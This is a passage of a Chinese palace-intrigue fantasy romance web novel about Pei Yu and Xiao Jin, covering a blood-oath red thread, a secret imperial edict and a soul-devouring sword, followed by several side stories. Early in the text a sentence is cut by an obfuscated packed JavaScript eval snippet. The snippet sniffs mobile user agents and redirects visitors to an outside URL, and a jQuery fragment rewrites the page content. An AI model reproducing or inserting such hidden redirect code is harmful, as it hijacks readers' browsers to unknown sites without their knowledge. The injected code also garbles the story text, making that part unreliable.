暗河的水比裴玉想象中还要冷。 他拼命划水,腕间延伸出的红线在漆黑水底发出幽幽红光,另一头连着萧烬的手腕。这条突然实体化的血誓之线,此刻正随着水流缠绕上他的小腿,像有生命的蛇。 前方突然出现微弱亮光。裴玉刚要拽着萧烬往那边游,红线却猛地绷直——萧烬在缺氧中挣扎,气泡从他口鼻间涌出。裴玉毫不犹豫地回身,将自己的唇贴上去。 渡气的瞬间,他脑海中突然闪过无数陌生画面:萧烬在雪地练刀、萧烬被铁烙烫出疤痕、萧烬跪接一柄刻着"天子剑"的短刃...最震撼的是某个深夜,年轻的裴尚书将蘸血的针按在萧烬心口,一针一针刺出"裴玉"二字。 "哗啦——" 浮出水面的刹那,裴玉被眼前的景象震住——他们竟漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353443|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了皇陵外的镜湖,远处山崖上的先帝塑像正俯瞰着湖面。月光照在两人之间的红线上,那细如发丝的血绳竟开始微微震颤,将某种奇异的力量传递过来。 "你的手..."萧烬突然抓住他手腕。 裴玉低头,发现自己指间不知何时多了层薄茧——那是常年握刀才会有的痕迹。更诡异的是,他竟能清晰回忆起刚才水中看到的那些画面里,萧烬练的每一招刀法。 "血誓完全觉醒了。"萧烬咳嗽着解开衣襟,露出心口结痂的伤疤——那里原本刻着"裴玉"二字,现在却变成了"天子剑"的徽记,"先帝...在我身上...下了禁制..." 话未说完,岸边树林里传来弩箭上弦的声响。萧烬本能地扑倒裴玉,却见后者反手抽出他腰间备用短刀,以不可思议的速度掷出——刀尖精准穿透三十步外弩手的喉咙,手法与萧烬平日分毫不差。 "怎么回事..."萧烬的瞳孔微微扩大。 裴玉盯着自己的手掌:"我好像...能借用你的..." 更多的追兵从树丛中现身。这次不等萧烬动作,裴玉已经捡起地上的陌刀冲了出去。红线在月光下延伸发光,裴玉的每一个动作都完美复刻萧烬的刀法,甚至预判了敌人的进攻路线。当最后一个黑衣人倒下时,萧烬脸上的震惊比伤口渗的血还要鲜明。 "你父亲..."他撑着树干喘息,"当年让我学的...全是适合你体型的招式..." 夜枭的啼叫声划破夜空。裴玉突然按住太阳穴——红线传递来的不止是武力,还有萧烬的部分记忆:首辅在密室焚烧诏书的画面、黑蛛营训练基地的位置、以及...某个戴着萧烬旧面具的神秘人。 "那是谁?"裴玉指向记忆碎片中的面具人。 萧烬的脸色突然变得惨白:"我的...替代品。" 两人搀扶着躲进山崖下的洞穴。萧烬的高热又开始了,这次连带着裴玉也头晕目眩。红线在黑暗中持续发烫,将两人的痛觉神经紧紧捆在一起。当萧烬第三次呕出血块时,裴玉扯开自己的衣领,将对方滚烫的额头贴在自己锁骨上。 "冷..."萧烬在昏迷中呢喃,手臂无意识地环住裴玉的腰。红线自动延长,像蛛网般将两人包裹起来。裴玉僵着身子不敢动,直到听见萧烬心跳渐渐平稳,才发现自己的指尖正无意识地描摹对方心口的疤痕。 月光从洞口斜射进来,正好照在裴玉颈间的玉坠上。奇异的事情发生了——玉坠投射出的光斑在石壁上组成一幅微缩地图,指向镜湖某处。 "萧烬!"裴玉摇晃怀中的人,"你看..." 将军在迷糊中抓住他乱动的手,带着往自己衣襟里摸。裴玉的指尖触到个硬物——是半块兵符,内侧刻着"见符如见朕"。 "先帝...给''天子剑''的..."萧烬的呼吸喷在他耳畔,"去找...另外半块..." 裴玉突然想起玉簪里的绢布上那三个字。他急忙掏出所有碎片拼在一起,在月光下慢慢旋转角度——当玉坠的光斑与绢布上的暗纹重合时,石壁上显现出完整的密诏内容: 【朕传位于皇长子弘德次子矫诏毒兄裴卿藏真诏于剑冢烬儿非替身实为护诏之刃】 "所以你不是替身..."裴玉的声音发颤,"是...先帝的暗剑?" 萧烬没有回答。他的体温突然急剧升高,红线烫得裴玉腕间起泡。最可怕的是,裴玉发现自己开始无法控制地读取萧烬更深层的记忆:五岁的萧烬被铁链锁在暗室背诵诏书内容、十岁的萧烬在伤口上撒盐只为记住某个特征、十五岁的萧烬得知自己存在的全部意义就是为某个素未谋面的人赴死... "别看..."萧烬突然惊醒,一把攥紧红线,"这些...不该你知道..." 洞外传来枯枝断裂的脆响。裴玉刚要起身,却被萧烬按着后颈压在地上。将军的手掌覆住他口鼻,两人在极近的距离对视——萧烬的瞳孔在黑暗中微微发亮,像真正的野兽。 面具人来了。 那个与萧烬身形完全一致的身影就立在洞口,腰间配着同款的陌刀。当来人缓缓摘下面具时,裴玉感到萧烬的肌肉瞬间绷紧——面具下的脸,赫然是年轻时的首辅! "我亲爱的刃啊。"来人开口却是年轻女声,"首辅大人让我问问,你还记得血誓的代价吗?" 红线突然剧烈震颤起来。裴玉感到一阵撕心裂肺的疼痛,仿佛有什么东西正通过这条纽带,从萧烬体内疯狂抽取生命力。而萧烬的反应更可怕——他心口的"天子剑"徽记开始渗血,那些血珠落地后竟化作红雾飘向来人。 "血誓...反噬..."萧烬的牙齿咬得咯咯响,"她拿着...主契..." 裴玉突然明白了。当年先帝设立的血誓有两份,一份连着萧烬与他,另一份恐怕就攥在首辅手里。而现在,对方要活活抽干萧烬! 在完全失去意识前,裴玉做了个疯狂的举动——他一口咬断了两人的红线。 --- 断线 裴玉咳出的第一口血,在雪地上绽开如红梅。 "停下!"萧烬拽住他手腕,那里有一圈焦黑的灼痕——是咬断血誓红线留下的烙印。原本鲜红的血线如今化作两道狰狞伤疤,分别刻在两人腕间。 裴玉抹去唇边血迹,却露出笑意:"现在...她抽不动你的命了..."话音未落,眼前突然闪过陌生画面:三支弩箭从东南方破空而来。他本能地扑倒萧烬,几乎同时,箭矢擦着他们发梢钉入身后树干。 "你能看见未来?"萧烬瞳孔微缩。 "只有...几息时间..."裴玉撑着他肩膀站起来,突然又一阵眩晕。新的画面闪现:面具女在溪边清洗染血的匕首。这次预知来得更强烈,他甚至能闻到血腥味里混着茉莉香粉。 萧烬突然撕下衣袖裹住他手腕:"血誓反噬。"他指着裴玉腕间正在渗血的烙印,"你在消耗自己的阳寿预知。" 暮色中的镜湖泛起诡异波纹。玉坠在月光再次照射时,光斑指向湖心小岛。两人砍竹做筏,刚划出不远,裴玉突然按住萧烬的手:"水下有网。" 话音刚落,湖面突然升起铁索编织的巨网。裴玉借着预知能力指引萧烬挥刀,每一击都精准砍在网结要害处。当竹筏即将被掀翻时,他忽然看到未来几秒的浪涌方向:"左满舵!" 竹筏险险避开漩涡。萧烬望向他时眼神复杂:"你父亲...当年说血誓断裂会引发''共命''..."他顿了顿,"没想到是这种形式。" 岛上的剑冢入口被七块星形石碑环绕。裴玉触碰最矮的那块时,脑海中突然响起童声吟诵:"天枢贪狼,开门见喜..."——这是《七星咒》,父亲在他儿时教过的禁书内容。 "跟着我走。"裴玉拉住萧烬,"这是北斗七星的变阵。" 他们踏着特定顺序的石砖前进,每步都引发机关变动。当裴玉踩到天权星位时,预知画面突然警告危险:"蹲下!"萧烬几乎同时将他扑倒,十六支铁弩从四面八方射来,最近的那支擦破裴玉耳垂。 "你怎么也..." "肌肉记忆。"萧烬指向自己太阳穴,"这里...被灌输了所有星象阵法。" 最中央的石碑刻着"天子剑冢"四个大字。裴玉将玉坠嵌入凹槽时,地面突然下陷,露出向下的阶梯。阴冷的风裹挟着铁锈味涌上来,其中混着一丝若有若无的茉莉香——和预知中的气味一模一样。 "她在下面。"裴玉按住抽痛的太阳穴,"正前方二十步,拿着淬毒的匕首。" 萧烬的陌刀在黑暗中划出银弧。金铁交鸣声中,裴玉借着预知能力不断报出对方杀招:"左斜劈!""回马枪!""下盘扫!"三招过后,面具女突然轻笑一声,匕首转向自己心口刺去。 "她要毁契!"萧烬的刀尖挑飞匕首,却不妨对方袖中滑出第二把,直刺裴玉咽喉。千钧一发之际,预知能力让裴玉侧身避开要害,刀刃只划破肩头。诡异的是,流出的血竟是淡金色的。 面具女突然僵住:"你的血...怎么会..." 萧烬的陌刀已经架上她脖颈。当裴玉扯下对方面具时,露出的是一张与他有五分相似的女子面孔——尤其是左眼下的泪痣,位置分毫不差。 "首辅的私生女。"萧烬刀锋下压,"也是...你的血亲。" 女子诡异一笑:"好哥哥,你偷走的半条命,该还了..."她突然咬破舌尖,喷出口血雾。那些血珠在空中组成诡异符文,裴玉腕间的烙印突然剧痛——断裂的红线竟开始重新生长! 萧烬当机立断砍向新生红线,却被弹开的力道震退三步。女子趁机扑向剑冢深处的石棺,从里面抽出把通体漆黑的长剑:"父亲说得对,你们果然会带路找到''噬魂剑''..." 裴玉的预知能力此刻疯狂预警:那把剑能斩断魂魄!他冲向萧烬想拉开他,却见女子突然调转剑锋刺向自己心口:"以血亲之魂,召..." 剑尖在触及她心口的刹那,萧烬的陌刀脱手而出,将黑剑击飞。女子厉笑着捏碎块玉牌,整个剑冢突然震动起来:"那就一起死吧!" 巨石从顶部砸落。裴玉在混乱中看到预知画面:东北角有暗道!他拽着萧烬冲向那个方向,却被女子拦住去路。生死关头,萧烬突然将裴玉推向暗道入口,自己返身迎向女子。 "走!"萧烬后背硬接落石,鲜血溅在裴玉脸上,"石棺里有..." 暗道机关闭合的最后一刻,裴玉看到女子将黑剑刺入萧烬心口。更可怕的是,他腕间新生的红线没有断裂,反而开始疯狂抽取他的生命力——萧烬正在死去! 黑暗的甬道尽头是间圆形石室。正中石台上放着个玄铁匣子,旁边石碑刻着: 【双魂一体归位则生分则两亡】 裴玉咳着血打开铁匣。里面是真正的继位诏书,以及更令人震惊的东西——两个小木偶,分别刻着"烬"与"玉",用红线捆在一起。木偶底部写着: 【弘德元年裴卿以秘术分长孙魂魄铸天子剑待真主归位】 匣底铜镜照出裴玉惨白的脸,和他身后渐渐浮现的虚影——那是半透明的萧烬,正将手搭在他肩上,唇形无声地说着:"合二为一..." --- 噬魂剑在裴玉手中重若千钧。 剑冢的震颤越来越剧烈,碎石不断从头顶砸落。他跪在石台前,盯着玄铁匣里的两个木偶——"烬"与"玉",红线缠绕,像极了他们断裂的血誓。 "归位则生...分则两亡..." 裴玉的指尖抚过木偶底部的刻字。弘德元年,父亲用秘术将皇长孙的魂魄一分为二,一半留在本体,另一半植入萧烬体内。如今若要活命,要么让萧烬的灵魂彻底融入自己,要么... "不。" 他猛地合上匣子。铜镜中,半透明的萧烬虚影摇了摇头,手指向石碑底座——那里有个不起眼的凹槽,形状恰似两人断裂的红线。 裴玉将噬魂剑横在腕间。既然血誓能分,自然也能合。若要以命换命,他宁愿是自己。 "你疯了?"虚影突然开口,声音与萧烬一模一样,"噬魂剑能斩魂魄——" 剑锋划破手腕的刹那,整个石室亮如白昼。裴玉的血没有落地,反而化作金线飘向铜镜,与萧烬虚影连接起来。镜面突然泛起涟漪,浮现出二十年前的画面: 雪夜冷宫,七岁的裴玉(当时还顶着皇长孙身份)高烧不退,一个小侍卫解开衣襟将他冰冷的双脚捂在怀里。小侍卫抬头时,月光照亮了他的脸——竟是年幼的萧烬! "不对..."裴玉按住剧痛的太阳穴,"这记忆..." 更多画面洪水般涌来:东宫事变那夜,裴尚书匆忙将两个孩子调换身份;先帝临终前,将真正的皇长孙(萧烬)托付给裴尚书;甚至更早——冷宫里两个孩子玩耍时,萧烬总是自然而然地称他为"公子"... 铜镜"咔"地裂开缝隙。一个苍老的声音从裂缝中传出:"双魂本一体,何须问归处..." 裴玉突然明白了。从来没有什么魂魄分割——萧烬就是完整的皇长孙,而他只是裴尚书为了保护真龙血脉,用自己的儿子设下的障眼法!那些所谓的"共享记忆",不过是父亲用药物和心理暗示制造的幻觉。 "所以血誓..."裴玉的指尖发颤,"是保护真龙的天命..." 最后一波记忆冲击来得猝不及防。他看见父亲将噬魂剑交给年幼的萧烬:"此剑能辨真龙,他日若遇生死关头,以心头血祭之..."而萧烬的回答是:"我要护着玉奴儿,不是因为他像我,只因他是他。" 石室突然停止震颤。裴玉抓起噬魂剑冲向暗道,金线在黑暗中指引方向。当他踹开坍塌的石门时,眼前的景象让呼吸停滞—— 萧烬被黑剑钉在石棺上,胸口涌出的血染红了棺面雕刻的龙纹。首辅之女倒在旁边,心口插着萧烬的陌刀。最可怕的是,连接两人的红线已经完全实体化,正从萧烬体内抽取某种金色的光点。 "皇兄...果然...下不了手..."女子惨笑着看向裴玉,"他宁可自己死...也不愿用噬魂剑...取回你体内的..." 裴玉箭步上前拔出黑剑。出乎意料,剑刃触到他手的瞬间,那些金色光点突然回流进萧烬身体。女子见状瞳孔骤缩:"不可能...除非..." "除非我才是剑真正的主人。"裴玉将噬魂剑抵在自己心口,"父亲没告诉你?这剑只认裴氏血脉。" 剑尖刺入皮肤的刹那,整个剑冢响起龙吟般的剑鸣。裴玉感到某种温暖的力量从剑身传来,通过红线源源不断输送给萧烬。首辅之女发出不甘的尖叫,却在下一刻僵住——她看见黑剑在裴玉手中逐渐变成白玉色,这是认主成功的标志。 "原来...你才是..."女子呕着血惨笑,"父亲...错了..." 萧烬在这时睁开眼睛。他的视线越过裴玉肩膀,看向剑冢深处某个突然亮起的角落——那里有方玉印正在发光,印纽雕刻着栩栩如生的蟠龙。 "玉奴儿..."萧烬用尽最后力气抓住裴玉的手,"拿...玉玺..." 当裴玉将染血的玉印按在诏书上时,整个剑冢绽放出耀眼光芒。断裂的红线重新连接,但这次不再是单方面的生命输送,而是一种平衡的能量循环。萧烬心口的伤以肉眼可见的速度愈合,而裴玉腕间的灼痕变成了精致的红纹。 "血誓逆转..."萧烬的手指抚过那纹路,"先帝...留下的后手..." 走出剑冢时已是破晓。晨雾弥漫的镜湖边,裴玉望着水中倒影——他额间不知何时多了个淡淡的金色印记,与萧烬心口痊愈后留下的"天子剑"徽记一模一样。 "所以现在..."他转向正在系衣带的萧烬,"你是皇长孙,我是..." "我的执剑人。"萧烬突然将他拉近,"或者说..."他的唇擦过裴玉耳垂,"我的玉奴儿。" 裴玉耳尖发烫。正要反驳,远处传来整齐的马蹄声——是玄甲军来接应了。萧烬叹了口气,从怀中掏出个物件塞给他:"物归原主。" 那是裴玉小时候最爱的九连环,环心刻着个小小的"烬"字。 "冷宫那年冬天..."萧烬的声音轻得像叹息,"你输给我的。" 玄甲军的旗帜已能看清。裴玉突然抓住萧烬的前襟,在军士们惊愕的目光中吻上他的唇。分开时,两人之间的红线在朝阳下闪闪发亮,不再是束缚,而是纽带。 "走吧。"裴玉捡起掉落的噬魂剑,"该去会会首辅大人了。" 萧烬大笑翻身上马,伸手将他拉上鞍前。在他们身后,剑冢缓缓沉入镜湖,而前方的官道上,崭新的"裴"字旗与"萧"字旗并排而立,在晨风中猎猎作响。 (完) 10. 折柳灯[番外] 临台县的初雪落得比往年都早。 萧烬策马穿过城门时,正撞见裴玉在训斥粮商。县令大人裹着狐裘站在雪里,眉梢挂着霜,手里账本卷成筒,戳着面前胖商人的胸口:"陈三斗,新米掺旧粮也就罢了,沙石压秤的勾当也敢往军粮里塞?" "大人明鉴!"粮商噗通跪下,"今年收成实在..." "今年漠北草场遭了白灾。"萧烬甩着马鞭踱过来,玄色大氅上落满雪粒子,"你上月倒卖给胡商的那批陈粮——"他靴尖挑起粮商的下巴,"够砍几次脑袋?" 粮商瘫软在地。裴玉瞥了眼萧烬冻红的手背,账本往他怀里一塞:"将军有空管闲事,不如去城南看看粥棚。" "裴大人这是求人帮忙的态度?"萧烬勾住他腰间的玉坠穗子,借着披风遮掩摩挲他后腰,"昨夜你可不是..." "萧定北!"裴玉耳尖泛红,拍开他的手,"午时之前,我要看到粮仓清点完毕。" 萧烬大笑纵马而去。经过城门时顺手扯了张告示——是县衙新贴的冬防令,裴玉的字迹工整清峻,边角却画着只张牙舞爪的小狼,墨迹未干。 这是他们之间的暗号。 城南粥棚果然出了乱子。十几个泼皮正推搡着抢粥的妇人,萧烬眯眼认出领头的是上月剿匪的漏网之鱼。他故意放慢脚步,听着身后马蹄声渐近。 "将军来得巧。"裴玉的马车停在五步外,车帘掀起一角,"这些可算''军务''?" "临台县内皆军务。"萧烬的陌刀鞘扫倒两个泼皮,"比如教教规矩——" 话音未落,破空声骤响。三支袖箭从不同方向射向裴玉马车,却在半途被雪亮刀光斩落。萧烬的披风在雪地里旋出墨色莲花,转眼间七个埋伏的弓箭手被踹进雪堆。 "首辅余孽?"裴玉踩着某个刺客的背下车。 "你仇家。"萧烬刀尖挑起刺客衣襟,露出里面的龙纹内衬,"前朝死士。" 裴玉蹲下身,忽然扯开刺客的领口。锁骨下方赫然是蜘蛛刺青,但比黑蛛营的多了对翅膀:"飞天蛛?这不是..." "我当年的暗卫营。"萧烬碾碎那人的腕骨,"三年前就该清理干净。" 雪越下越大。裴玉哈着白气清点完粮仓,转头见萧烬在檐下擦拭陌刀。玄甲换了常服,墨蓝箭袖衬得肩宽腰窄,发梢的雪融成水珠滑进衣领。 "看够了?"萧烬头也不抬。 "将军脸上有血。"裴玉抛过去块帕子。 萧烬顺势抓住他手腕一拽。裴玉踉跄跌进他怀里,被铁锈味混着松香的气息裹住。刀疤横贯的俊脸逼近:"这儿?还是这儿?"带着薄茧的指腹抹过他唇畔,"裴大人亲自擦?" "别闹。"裴玉推他,"今夜还要巡灯市..." 话没说完就被吞进吻里。萧烬的披风罩住两人,隔着三层冬衣都能摸到彼此心跳。远处传来孩童打雪仗的笑闹,混着灶糖的甜香飘过院墙。 最终是粮仓管事救了场。老丈抱着账本过来,撞见县令被将军按在粮垛上亲,慌得摔了个屁股墩。萧烬舔着裴玉唇上的血珠嗤笑:"怕什么,又不吃你粮食。" 裴玉踹了他一脚。 暮色初临时,满城花灯亮了。萧烬被裴玉按着换了常服,墨绿圆领袍滚银边,玉带扣还是从县令枕边顺的。裴玉自己倒是素得很,月白襕衫外罩灰鼠裘,发间插着根白玉簪——正是当年噬魂剑重铸的那块玉。 "两位公子求什么灯?"灯铺老妪笑眯眯的,"姻缘灯要试试?" "不要那个。"萧烬拎起盏狼头灯,"这个..." "要莲花灯。"裴玉同时开口。 两人对视一眼。老妪看看左边凶神恶煞的将军,再看看右边清冷如雪的县令,憋着笑递上两盏灯:"本店规矩,猜中灯谜可自选一盏。" 萧烬的谜面是"边关冷月照铁衣",打一字。他皱眉想了半刻,突然瞥见裴玉腰间玉佩上的"烬"字,福至心灵:"烟!" 老妪笑着摘灯。裴玉的谜面更刁钻:"无情最是台城柳",打一药材。他指尖在案上划了划:"木通。" "公子博学。"老妪取下莲花灯,"可要去河边放灯?今夜有月老巡城..." "不必。"萧烬把狼头灯塞给裴玉,"本...我夫人害羞。" 裴玉在桌下狠踩他靴子。 最后还是去了城南河边。萧烬在桥头买了包糖炒栗子,剥好的仁儿全塞进裴玉袖袋。河面漂着千百盏明灯,映得裴玉眉眼如画,萧烬看着看着就咬住他耳垂:"比大婚那夜还俊。" "闭嘴。"裴玉踢他,却被人圈住腰。狼头灯与莲花灯并肩浮在水面,漂出丈许忽然被浪打翻。萧烬脸色骤变,拔刀就要斩风,被裴玉笑着拦住:"灯灭了才好。" "为何?" "旧俗说..."裴玉把栗子仁喂进他嘴里,"同放的花灯若中途倾覆,说明月老也拆不散。" 萧烬扣住他后颈深吻,栗子的甜香在唇齿间化开。更声从城楼传来时,两人正倚在柳树下看灯,裴玉忽然说:"开春我想重修县学。" "西郊大营的砖瓦随你搬。" "要聘三位先生。" "玄甲军里多得是识字的。" "萧定北!" 将军笑着把人扛上肩:"末将领命。" 回衙时雪又落了。裴玉在廊下抖裘衣上的雪,忽被萧烬打横抱起:"冷就靠紧些。"卧房的炭盆噼啪作响,将军的吻比火还烫。纠缠间玉佩香囊落了一地,床头的《临台县志》被撞到地上,翻到最新添的那页: "景和三年冬,将军萧烬与县令裴玉共治临台,边关安泰,百姓和乐。时有双鹤栖于县衙古柳,朝夕相伴,见者皆云祥瑞。" 窗外雪落无声。 (番外一·完) --- 彩蛋 次日清晨,衙役在柳树下发现两盏完好无损的花灯——狼嘴里叼着莲蓬,莲花心嵌着狼牙,不知被谁用红绳系成了死结。 烬玉刀 京城最大的拍卖行"千金阁"今夜亮如白昼。 裴玉摩挲着袖中的柳叶镖,隔着屏风打量满堂宾客。鎏金面具遮住他半张脸,月白锦袍下藏着玄甲军特制的软猬甲——三日前截获密报,前朝遗宝"烬玉刀"将在此现世,而这把刀关系着东宫秘库的所在。 "下一件拍品——"红绸掀开时满堂哗然,琉璃罩中躺着的竟是半截断刀,刀身布满蛛网状裂痕,"前朝名匠欧冶子封山之作,起拍价..." "一文钱。" 二楼雅间传来清冷嗓音。裴玉指尖的茶盏微晃,这声音分明是... "萧定北!"隔壁雅间摔出个翡翠杯,"你敢砸场子?" 玄色身影凭栏而立,狼首面具下薄唇微勾:"本侯说这刀只值一文。"萧烬屈指弹飞盏中酒,酒液化作冰针刺入琉璃罩,"赝品。" 罩面应声而裂。原本安静的断刀突然迸发幽蓝磷火,离得最近的富商瞬间满脸水泡。人群尖叫逃窜时,裴玉袖中柳叶镖已钉死三个冲向萧烬的死士。 "裴大人好身手。"萧烬跃至他身侧,顺势揽住腰肢,"临台县的公文比本侯重要?" 裴玉反手将毒针扎进偷袭者咽喉:"不及侯爷闲情。"他早该想到,所谓东宫秘宝根本是萧烬放出的饵——这把"烬玉刀"正是当年噬魂剑的剑鞘所铸。 二十余名刺客破窗而入。萧烬的陌刀在掌心转出残影,刀风扫落裴玉的面具:"御史台的眼线看着呢,裴大人可要演到底?" 裴玉会意,抽出腰间软剑佯攻:"侯爷私藏前朝重器,该当何罪?" "那要看裴大人如何''审''..."萧烬侧头避开剑锋,吻落在他执剑的腕间。刀光剑影中这番狎昵,惹得二楼雅间传出茶盏碎裂声——正是御史中丞惯用的越窑青瓷。 混战持续半炷香。当裴玉的剑尖抵住萧烬咽喉时,满地横尸中只剩他们相视而立。御史台的暗探终于按捺不住,从梁上跃下:"裴大人忠勇!快将这逆贼..." 寒光闪过,暗探咽喉插着枚柳叶镖。裴玉吹落镖上血珠:"本官最恨听墙根的。" 萧烬低笑揽他入怀,陌刀挑开断刀残片,露出内藏的羊皮卷:"秘库在皇陵冰湖底。"他忽然皱眉,"你的手怎么..." "不妨事。"裴玉将渗血的右手藏入袖中。方才替萧烬挡下的那枚毒蒺藜,此刻正灼烧着他的经脉。 回侯府的马车上,熏香盖不住血腥气。萧烬扯开他衣襟时脸色骤变:"赤蝎毒?什么时候中的?" "红袖招那杯酒。"裴玉靠在他肩头喘息,"御史中丞亲自斟的..." 话音未落,萧烬已咬破舌尖。带着铁锈味的吻封住所有话语,赤蝎毒遇麒麟血即解,这是当年裴尚书用百种奇毒炼出的药人特性。裴玉挣扎着要推开:"你疯了吗!剧毒相冲..." "当年剖心取血都过来了。"萧烬将他箍得更紧,"乖,咽下去。" 车外忽起喧嚣。十二匹快马拦住去路,为首老者手持先帝御赐龙头杖:"定北侯包藏祸心,裴御史随老夫进宫面圣!" 裴玉拭去唇边血渍,撩开车帘轻笑:"张阁老可知,皇陵冰湖里冻着什么?"他扬起羊皮卷,"弘德太子薨逝那夜的起居注,写着您给先帝递过两碗参汤呢。" 老者瞬间面如死灰。萧烬的陌刀破窗而出,斩断龙头杖上的夜明珠:"滚回去告诉新帝,本侯明日要看到户部亏空的折子。" 马车再次启动时,裴玉发现掌心多了块玉佩。双龙盘绕的纹路间嵌着粒红豆,正是当年他们在大婚夜系在床头的"相思子"。 "秘库里有什么?"他摩挲着玉佩。 "你七岁那年埋在冷宫的蛐蛐罐。"萧烬叼走他发间玉簪,"还有..."突然将人压倒在软垫上,"本侯攒了二十年的聘礼。" 裴玉的耳尖在黑暗中泛红:"胡闹...唔..." 抵在腰间的陌刀忽然发出轻吟。刀柄处不知何时多了道凹槽,与玉佩严丝合缝。当裴玉将玉佩嵌入的刹那,刀身浮现血色篆文——是他当年在县衙灯下誊写的《洗冤录》序章。 "刀魄认主。"萧烬吻着他腕间红痕,"现在它才是真正的''烬玉刀''。" 更鼓声穿过长街。裴玉在颠簸中攥紧车帘,又被萧烬掰开手指十指相扣:"明日早朝..." "称病。" "那御史台..." "烧了。" "萧定北!" "在呢。"侯爷笑着封住所有嗔怪,"我的御史大人。" (番外二·完)(哎哎哎!先别走!!!) --- 三日后,新帝案头出现本无名折子,详述户部亏空三十八万两。随折附赠的红豆穿成的剑穗,与弘德太子生前随身玉佩的流苏一模一样。当夜,皇陵冰湖悄然解冻,五百玄甲军取出的不是金银,而是三万石精米与塞北布防图——正是裴玉这三年"赈灾"的成果。 雨夜铃 青州官道被暴雨浇成泥潭时,裴玉正盯着车壁上的血字出神。 "戌时三刻,苍梧岭,以命换命。"字迹混着铁锈味,是他再熟悉不过的北疆狼血墨——三年前萧烬剿灭的"血狼帮"余孽,竟还有人活着。 "大人,前方塌方。"车夫声音发颤,"绕道苍梧岭至少要..." 裴玉掀开车帘。雨幕中闪过几点幽绿,是狼群的眼睛。他握紧袖中噬魂匕:"那就去苍梧岭。" 马车在雷鸣中疾驰。戌时整,山道旁突然亮起盏白灯笼,上面赫然是玄甲军的狼头徽记。裴玉瞳孔骤缩——这是萧烬亲卫队的信号灯! "吁!"车夫猛勒缰绳。 山崖上传来锁链绞动的声响。裴玉跃出车厢的瞬间,整辆马车被铁网吊上半空,暴雨冲刷出网上暗红的血渍,都是陈旧的人血。 "裴大人果然重情。"蒙面人从树后转出,手中拎着个玄铁笼,"不知萧侯爷的宝贝灰隼,值不值你一条命?" 笼中灰隼萎靡不振,爪上系着半截红绳——是裴玉束发的绳结。三日前萧烬出征时,他亲手系在隼腿上的。 "想要萧定北的命,何必绕弯。"裴玉甩去匕首上的雨水,"他在漠北..." "我们要的是你!"蒙面人突然甩出铁笼,"噬魂剑主!" 灰隼惊鸣声中,七道黑影破雨袭来。裴玉旋身避开淬毒的链镖,噬魂匕划出幽蓝弧光,最前面的刺客突然僵住——他的弯刀竟调转方向刺向同伙! "噬魂...控兵..."蒙面人骇然后退,"快闭..." 第二声惊雷掩盖了惨叫。裴玉踏着血水逼近,匕首抵住蒙面人咽喉:"血狼帮的''狼毒'',解药。" "没有解药!"蒙面人狂笑,"萧定北中的是子母蛊,母蛊在我心口!杀我他便..." 寒光闪过,蒙面人胸前爆出血花。裴玉的匕首插在树上,钉着只通体赤红的蛊虫。萧烬的陌刀从后方劈开雨幕,刀尖挑起将死的蒙面人:"谁告诉你,本侯会中这种下作玩意?" 裴玉回头。萧烬的战甲残破不堪,心口处狰狞伤口泛着金芒——是噬魂剑留下的永生咒。血水混着雨水淌下,在他脚下汇成诡异的符文。 "灰隼带路时撞见这帮杂碎。"萧烬甩来件干燥披风,"倒是你..."他突然将人按在湿透的树干上,"单刀赴会的毛病什么时候改?" 裴玉嗅到他身上浓重的血腥气:"你伤口..." "无妨。"萧烬咬开酒囊灌了口,低头渡给他,"驱寒。" 酒是北疆最烈的烧刀子。裴玉呛得眼角泛红,正要骂人,忽见萧烬瞳孔收缩——山崖上亮起数百支火箭,正对着他们脚下的火药阵! "抱紧!"萧烬揽着他腰跃上灰隼。巨隼冲霄而起的刹那,地动山摇,烈焰吞没了整片山岭。高空寒气刺骨,裴玉发现萧烬的伤口在结冰:"你用了凝霜诀?" "总比烧成灰强。"萧烬将他的头按在胸口,"睡会儿,到漠北叫你。" 裴玉闭眼前,瞥见灰隼爪上红绳闪着微光。这根本不是普通丝绳,而是噬魂剑鞘上的"牵机线"——萧烬早算到有埋伏,拿自己当饵钓出了所有暗桩。 漠北大营的篝火亮如繁星。军医掀开帐帘时,正撞见侯爷将御史大人裹在貂裘里喂药。裴玉腕间红纹忽明忽暗,萧烬心口的永生咒随之闪烁。 "看够了?"萧烬抬眼。 军医扑通跪下:"侯爷的伤不宜..." "他少根头发,本侯拆了你的医帐。"萧烬舀起勺汤药吹了吹,"乖,喝完有奖励。" 裴玉踹翻药碗:"萧定北!你早知道灰隼会遇袭!"袖中抖出块烧焦的狼首令牌,"血狼帮三年前就绝迹了,这些是..." "户部尚书养的狗。"萧烬握住他脚踝上药,"你查盐税动了他命根子。" 帐外忽然传来喧哗。副将捧着个乌木盒进来:"侯爷,京城加急..." 盒中滚出颗人头。裴玉认出是户部侍郎的心腹,脖颈处插着根凤纹簪——正是他上月丢在侯府的那支。 "本侯的投名状。"萧烬将染血的簪子别回他发间,"明日早朝,裴大人该参谁?" 后半夜飘起雪粒子。裴玉在军帐中翻看盐税账册,忽被萧烬从后抱住。温热的唇流连在耳后:"御史台弹劾本侯的折子,攒多少了?" "二十七份。"裴玉笔尖不停,"明日加一份纵兵伤民。" 萧烬低笑咬开他衣带:"罪名坐实些..."帐外巡逻声渐近,他故意抬高音量,"裴大人确定要在此刻...唔..." 裴玉反手将朱砂笔塞进他嘴里:"萧侯爷的嘴,该上封条。" 晨光熹微时,八百里加急送入京城。新帝看着奏折上龙飞凤舞的"萧裴联署",头痛地揉着眉心。折子背面有行小字,是裴玉的字迹: "臣以项上人头担保,漠北军饷分文未贪——萧烬的人头,臣也想要。" 朱批御笔悬了半刻,最终写下:"准奏。另赐鸳鸯剑一对,大婚时用。" (番外三·完) --- 彩蛋 三日后,漠北军演兵场。萧烬握着裴玉的手拉开神臂弓,箭矢穿透的靶心上绑着户部尚书请罪的折子。灰隼爪间系着御赐鸳鸯剑的剑穗,在朔风中猎猎如焰。而真正的剑,早已被裴玉派人熔了铸成犁头,悄悄分给了受灾的边民。 月照沟渠 